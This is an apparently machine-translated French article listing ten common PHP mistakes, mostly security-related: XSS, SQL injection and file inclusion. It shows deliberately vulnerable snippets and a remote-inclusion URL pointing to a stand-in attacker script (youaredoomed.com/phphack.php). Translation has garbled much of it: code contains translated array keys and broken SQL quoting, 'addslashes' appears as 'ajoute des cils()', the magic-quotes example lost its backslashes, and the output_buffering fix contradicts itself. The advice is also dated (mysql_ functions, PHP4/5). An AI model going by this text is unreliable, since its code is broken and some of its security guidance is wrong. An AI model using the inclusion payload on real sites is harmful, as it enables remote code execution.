PHP est un excellent langage de développement Web et un langage flexible, mais nous constatons certaines erreurs que les programmeurs PHP commettent encore et encore. J'ai dressé la liste suivante de 10 erreurs courantes commises par les programmeurs PHP, dont la plupart sont liées à la sécurité. Voyez quel genre d'erreurs vous avez commis :
1. N'ignorez pas les entités HTML
Un simple bon sens : toutes les entrées non fiables (en particulier les données soumises par les utilisateurs à partir des formulaires) doivent être modifiées avant la sortie.
echo $_GET['nom d'utilisation'] ;
Cet exemple peut générer :
<script>/*Script pour changer le mot de passe administrateur ou définir un cookie*/</script>
Il s'agit d'un risque de sécurité évident à moins que vous ne vous assuriez que vos utilisateurs tapent correctement.
Comment réparer :
Nous devons convertir "< ", ">", "et", etc. en représentation HTML correcte (<, >' et "). Les fonctions htmlspecialchars et htmlentities() font exactement cela.
La méthode correcte : echo htmlspecialchars ( $_GET['username'], ENT_QUOTES);
2. N'ignorez pas les entrées SQL. J'ai déjà discuté de ce problème dans un article La manière la plus simple de prévenir l'injection SQL (php+mysql) et j'ai donné une méthode simple. ils ont déjà magic_quotes défini sur On dans php.ini donc ils n'ont pas à s'inquiéter de cela, mais toutes les entrées ne proviennent pas de $_GET, $_POST ou $_COOKIE.
Comment résoudre ce problème :
Comme pour empêcher l'injection SQL (php+mysql), je recommande toujours
la bonne façon d'utiliser la fonction mysql_real_escape_string() :
<?php
$sql = « METTRE À JOUR les utilisateurs SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Mauvaise utilisation des fonctions liées à l'en-tête HTTP : header(), session_start(), setcookie()
Avez-vous déjà rencontré cet avertissement ?" Avertissement : Impossible d'ajouter des informations d'en-tête - en-têtes déjà envoyés [....]
Chaque fois qu'une page Web est téléchargée depuis le serveur, la sortie du serveur est divisée en deux parties : les en-têtes et le corps.
L'en-tête contient certaines données non visuelles, telles que des cookies. La tête arrive toujours en premier. La partie texte comprend du HTML visuel, des images et d’autres données.
Si output_buffering est défini sur Off, toutes les fonctions liées à l'en-tête HTTP doivent être appelées avant la sortie. Le problème est que lorsque vous développez dans un environnement et déployez dans un autre environnement, les paramètres output_buffering peuvent être différents. En conséquence, la redirection s'est arrêtée et le cookie et la session n'ont pas été correctement définis...
Comment réparer :
Assurez-vous d'appeler les fonctions liées à l'en-tête http avant de sortir et définissez output_buffering = Off
.
4. Exiger ou inclure des fichiers qui utilisent des données non sécurisées Encore une fois : ne faites pas confiance aux données qui ne sont pas explicitement déclarées par vous-même. N'incluez pas et n'exigez pas les fichiers obtenus à partir de $_GET, $_POST ou $_COOKIE.
Par exemple:
index.php
<?
//y compris l'en-tête, la configuration, la connexion à la base de données, etc.
include($_GET['nom de fichier']);
//y compris le pied de page
?>
N'importe quel hacker peut désormais utiliser : http://www.yourdomain.com/index.php?filename=anyfile.txt
pour obtenir vos informations confidentielles, ou exécuter un script PHP.
Si allow_url_fopen=On, vous êtes mort :
Essayez cette entrée :
http://www.yourdomain.com/index … n.com%2Fphphack.php
Votre page Web contient désormais la sortie de http://www.youaredoomed.com/phphack.php . Les pirates peuvent envoyer du spam, modifier les mots de passe, fichiers supprimés, etc. Tout ce que vous pouvez imaginer.
Comment réparer :
Vous devez contrôler quels fichiers peuvent être inclus dans les directives include ou require.
Voici une solution de contournement rapide mais non exhaustive :
<?
//Inclut uniquement les fichiers autorisés.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['nom de fichier']);
}
autre{
exit('non autorisé');
}
?>
5. Erreurs grammaticales Les erreurs grammaticales incluent toutes les erreurs lexicales et grammaticales qui sont si courantes que je dois les énumérer ici. La solution est d’étudier attentivement la syntaxe de PHP et de faire attention à ne pas manquer de crochet, d’accolade, de point-virgule ou de guillemets. Aussi, trouvez un bon éditeur et n’utilisez pas le Bloc-notes !
6. Peu ou pas de projets orientés objet sont utilisés. De nombreux projets n'utilisent pas la technologie orientée objet de PHP. En conséquence, la maintenance du code prend beaucoup de temps et de main d'œuvre. PHP prend en charge de plus en plus de technologies orientées objet et s'améliore de plus en plus. Il n'y a aucune raison pour que nous ne devrions pas utiliser les technologies orientées objet.
7. Ne pas utiliser de framework
95 % des projets PHP font les quatre mêmes choses : créer, modifier, lister et supprimer. Il existe désormais de nombreux frameworks MVC pour nous aider à réaliser ces quatre choses, pourquoi ne les utilisons-nous pas ?
8. Je ne connais pas les fonctionnalités déjà disponibles en PHP
Le cœur de PHP contient de nombreuses fonctions. De nombreux programmeurs réinventent la roue encore et encore. Beaucoup de temps perdu. Avant de coder, recherchez PHP mamual et recherchez sur Google. Vous trouverez peut-être de nouvelles découvertes ! exec() en PHP est une fonction puissante qui peut exécuter le shell cmd et renvoyer la dernière ligne du résultat de l'exécution sous la forme d'une chaîne. Pour des raisons de sécurité, vous pouvez utiliser EscapeShellCmd()
9. Utilisez une ancienne version de PHP
De nombreux programmeurs utilisent encore PHP4. Le développement sur PHP4 ne peut pas exploiter pleinement le potentiel de PHP, et il existe encore certains risques de sécurité. Passez à PHP5, cela ne demande pas beaucoup d'efforts. La plupart des programmes PHP4 peuvent être migrés vers PHP5 avec peu ou même aucune modification des instructions. Selon une enquête de http://www.nexen.net, seulement 12 % des serveurs PHP utilisent PHP5, donc 88 % des développeurs PHP utilisent encore PHP4
10. Changez deux fois les guillemets ' ou apparaissez sur le Web. page '" ? Cela est généralement dû au fait que magic_quotes est désactivé dans l'environnement du développeur, mais magic_quotes=on sur le serveur déployé. PHP exécutera à plusieurs reprises addlashes() sur les données dans GET, POST et COOKIE.
Texte original :
C'est une chaîne
de citations magiques sur :
C'est une chaîne
Courez à nouveau
ajoute des cils() :
Il s'agit d'une
sortie HTML de chaîne :
C'est une chaîne
Une autre situation est que l'utilisateur saisit des informations de connexion erronées au début. Une fois que le serveur a détecté la mauvaise entrée, il génère le même formulaire et demande à l'utilisateur de saisir à nouveau, ce qui entraîne une modification deux fois de l'entrée de l'utilisateur !